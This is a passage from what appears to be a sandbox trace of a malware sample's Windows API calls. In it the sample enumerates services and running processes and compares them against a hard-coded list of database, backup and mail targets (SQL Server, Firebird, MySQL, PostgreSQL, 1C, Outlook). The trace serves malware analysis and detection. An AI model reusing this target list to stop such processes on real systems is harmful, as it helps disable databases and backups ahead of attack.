(lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0048.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0048.214] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0048.214] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0048.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0048.214] lstrlenW (lpString="SysMain") returned 7 [0048.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.214] lstrlenW (lpString="Themes") returned 6 [0048.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.214] lstrlenW (lpString="TrkWks") returned 6 [0048.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.214] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.214] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0048.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.214] lstrlenW (lpString="UxSms") returned 5 [0048.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.214] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.214] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.215] lstrlenW (lpString="VSS") returned 3 [0048.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0048.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0048.215] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0048.215] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0048.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0048.215] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.215] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.215] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.215] lstrlenW (lpString="Winmgmt") returned 7 [0048.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.215] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.216] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53a0068 | out: hHeap=0x790000) returned 1 [0048.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d8 [0048.219] Process32FirstW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.219] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.220] lstrlenW (lpString="System") returned 6 [0048.220] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.220] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.220] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.220] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.220] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.220] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.220] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.220] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.220] lstrlenW (lpString="smss.exe") returned 8 [0048.220] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.220] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.220] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.220] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.220] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.220] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.220] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.220] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.221] lstrlenW (lpString="csrss.exe") returned 9 [0048.221] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.221] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.221] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.221] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.221] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.221] lstrlenW (lpString="wininit.exe") returned 11 [0048.221] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.221] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.221] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.222] lstrlenW (lpString="csrss.exe") returned 9 [0048.222] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.222] lstrlenW (lpString="winlogon.exe") returned 12 [0048.222] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.222] lstrlenW (lpString="services.exe") returned 12 [0048.222] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.223] lstrlenW (lpString="lsass.exe") returned 9 [0048.223] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.223] lstrlenW (lpString="lsm.exe") returned 7 [0048.223] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.223] lstrlenW (lpString="svchost.exe") returned 11 [0048.223] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.223] lstrlenW (lpString="svchost.exe") returned 11 [0048.224] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.224] lstrlenW (lpString="svchost.exe") returned 11 [0048.224] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.225] lstrlenW (lpString="svchost.exe") returned 11 [0048.225] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.225] lstrlenW (lpString="svchost.exe") returned 11 [0048.225] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.225] lstrlenW (lpString="audiodg.exe") returned 11 [0048.225] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.225] lstrlenW (lpString="svchost.exe") returned 11 [0048.226] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.226] lstrlenW (lpString="svchost.exe") returned 11 [0048.226] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.226] lstrlenW (lpString="dwm.exe") returned 7 [0048.226] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.226] lstrlenW (lpString="explorer.exe") returned 12 [0048.226] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.227] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.227] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.227] lstrlenW (lpString="taskhost.exe") returned 12 [0048.227] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.227] lstrlenW (lpString="svchost.exe") returned 11 [0048.227] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.228] lstrlenW (lpString="taskeng.exe") returned 11 [0048.228] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.228] lstrlenW (lpString="taskhost.exe") returned 12 [0048.228] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0048.228] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0048.228] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0048.228] lstrlenW (lpString="noticed.exe") returned 11 [0048.228] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0048.229] lstrlenW (lpString="uploaded.exe") returned 12 [0048.229] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0048.229] lstrlenW (lpString="hardware.exe") returned 12 [0048.229] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0048.229] lstrlenW (lpString="oracle.exe") returned 10 [0048.229] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0048.230] lstrlenW (lpString="creativity.exe") returned 14 [0048.230] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0048.230] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0048.230] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0048.230] lstrlenW (lpString="edited.exe") returned 10 [0048.230] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0048.230] lstrlenW (lpString="custody.exe") returned 11 [0048.230] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0048.231] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0048.231] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0048.231] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0048.231] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0048.231] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0048.231] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0048.232] lstrlenW (lpString="radius.exe") returned 10 [0048.232] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0048.232] lstrlenW (lpString="extensions.exe") returned 14 [0048.232] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0048.232] lstrlenW (lpString="desperate.exe") returned 13 [0048.232] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0048.232] lstrlenW (lpString="professor-mo.exe") returned 16 [0048.232] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0048.233] lstrlenW (lpString="guidance.exe") returned 12 [0048.233] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0048.233] lstrlenW (lpString="week.exe") returned 8 [0048.233] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0048.233] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0048.233] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0048.234] lstrlenW (lpString="sn featured.exe") returned 15 [0048.234] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0048.234] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0048.234] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0048.234] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0048.234] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.234] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.234] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0048.235] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0048.235] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.235] lstrlenW (lpString="cmd.exe") returned 7 [0048.235] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.235] lstrlenW (lpString="conhost.exe") returned 11 [0048.235] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, 